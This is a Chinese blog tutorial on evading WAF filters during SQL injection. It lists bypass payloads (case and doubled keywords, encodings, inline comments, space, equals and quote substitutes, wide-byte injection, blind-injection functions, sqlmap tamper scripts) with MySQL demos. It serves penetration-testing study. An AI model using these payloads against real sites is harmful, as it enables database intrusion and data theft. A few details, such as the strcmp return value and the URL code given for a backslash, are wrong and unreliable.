SQL注入绕过

手工#

总结一下常规的SQL注入绕过

大小写绕过#

用于waf的正则对大小写不敏感的情况,例如waf 过滤了关键字select,可以尝试使用Select等绕过

双写关键字绕过#

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

特殊编码绕过#

  • 十六进制绕过 :select * from users where username = 0x7465737431
  • ascii 编码绕过:Test 等价于 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
  • unicode编码:

常见unicode编码举例:

单引号:

%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7

空白:

%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

左括号(:

%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8

右括号):

%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

内联注释绕过#

内联注释就是把一些特有的仅在 MYSQL 上的语句放在 /*!…*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在 MYSQL 中会执行。

select * from users where id = -1 union /*!select*/ 1,2,3;

过滤 or and xor not 绕过#

and = &&
or = ||
xor = | # 异或
not = !

空格过滤绕过#

一般绕过空格过滤的方法有以下几种方法来取代空格

  1. /**/或者/*1*/
  2. ()
  3. %0d %0a %0c %0b %a0
  4. +
  5. 双写空格绕过
  6. 科学计数法绕过
    select Afrom B 默认from前面必须是空格,因此为了不让你使用from可能正则表达式会检测前面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格

过滤等号 = 绕过#

不加通配符的like

正常加上通配符的like:

mysql> select * from users where username like "test%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  3 | test3    | pass1    |
+----+----------+----------+

不加上通配符的like可以用来取代=:

mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

rlike绕过

模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来 用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

mysql> select * from users where id rlike 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

regexp

MySQL 中使用 REGEXP 操作符来进行正则表达式匹配

mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

使用大小于号来绕过

mysql> select * from users where id > 1 and id < 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | user2    | pass1    |
+----+----------+----------+

使用<>绕过

<> 等价于 != 所以在前面再加一个!结果就是等号了

mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

过滤大小于号绕过#

在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过

greatest()

greatest(n1, n2, n3…): 返回 n 中的最大值

mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

least()

least(n1,n2,n3…): 返回 n 中的最小值

strcmp()

strcmp(str1,str2): 若所有的字符串均相同,则返回 STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116);
Empty set (0.00 sec)

strcmp()

mysql> select * from users where id = 1 and substr(username,1,1) in ('t');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where id = 1 and substr(username,1,1) in ('y');
Empty set (0.00 sec)

between a and b

between a and b: 范围在 a-b 之间

mysql> select * from users where id between 1 and 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b';
Empty set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

使用 between a and b 判等

mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

过滤引号绕过#

宽字节

一般当引号被过滤就会在引号前加一个\,将其转义失去作用,这样我们就不能闭合引号完成注入了。但是如果他的字符集设置为了双字节,也就是说两个字符可以代表一个中文的情况,那么我们就可以构造成一个中文字,\的url是%27我们在引号前写上%df,那么%df%27构成了中文的繁体运,引号就没有被过滤,成功绕过。当然不只是%df只要在那个字符集的范围内都可以。如%bf%27 %df%27 %aa%27

%bf%27 %df%27 %aa%27
 %df\’ = %df%5c%27=縗’

过滤逗号绕过#

sql 盲注时常用到以下的函数:

substr()

  • substr(string, pos, len): 从 pos 开始,取长度为 len 的子串
  • substr(string, pos): 从 pos 开始,取到 string 的最后

mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的 pos 都是从 1 开始的

left() 和 right()
left(string, len) 和 right(string, len): 分别是从左或从右取 string 中长度为 len 的子串

limit
limit (pos,len): 在返回项中从 pos 开始去 len 个返回值,pos 的从 0 开始

ascii() 和 char()
ascii(char): 把 char 这个字符转为 ascii 码
char(ascii_int): 和 ascii() 的作用相反,将 ascii 码转字符

过滤函数绕过#

  • sleep() –>benchmark()
  • ascii()–>hex()、bin() 替代之后再使用对应的进制转 string 即可
  • group_concat()–>concat_ws()
  • substr(),substring(),mid() 可以相互取代, 取子串的函数还有 left(),right()
  • user() –> @@user、datadir–>@@datadir
  • hex()、bin()=ascii()
  • mid()、substr()=substring()

SQLmap绕过#

常见的手工就是上面的思路,接下来看看SQLmap怎么搞的,

命令:sqlmap -u [url] --tamper [模块名]

我使用的版本是{1.6.11.3#dev}是有60多个模块

看几个吧

apostrophemask.py
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

image-20221107162344934

base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper("1' AND SLEEP(5)#")
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

image-20221107162413100

multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar

image-20221107162440485

都是对拿进来的payload做了一些逻辑变换处理,感兴趣的一一去看一下,后面再写一下SQLmap详细的原理

作者:gk0d

出处:https://www.cnblogs.com/gk0d/p/16866411.html

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

留言: 如果文中有什么错误,欢迎指出。以免更多的人被误导

posted @   gk0d  阅读(731)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示
more_horiz
keyboard_arrow_up light_mode palette
选择主题
menu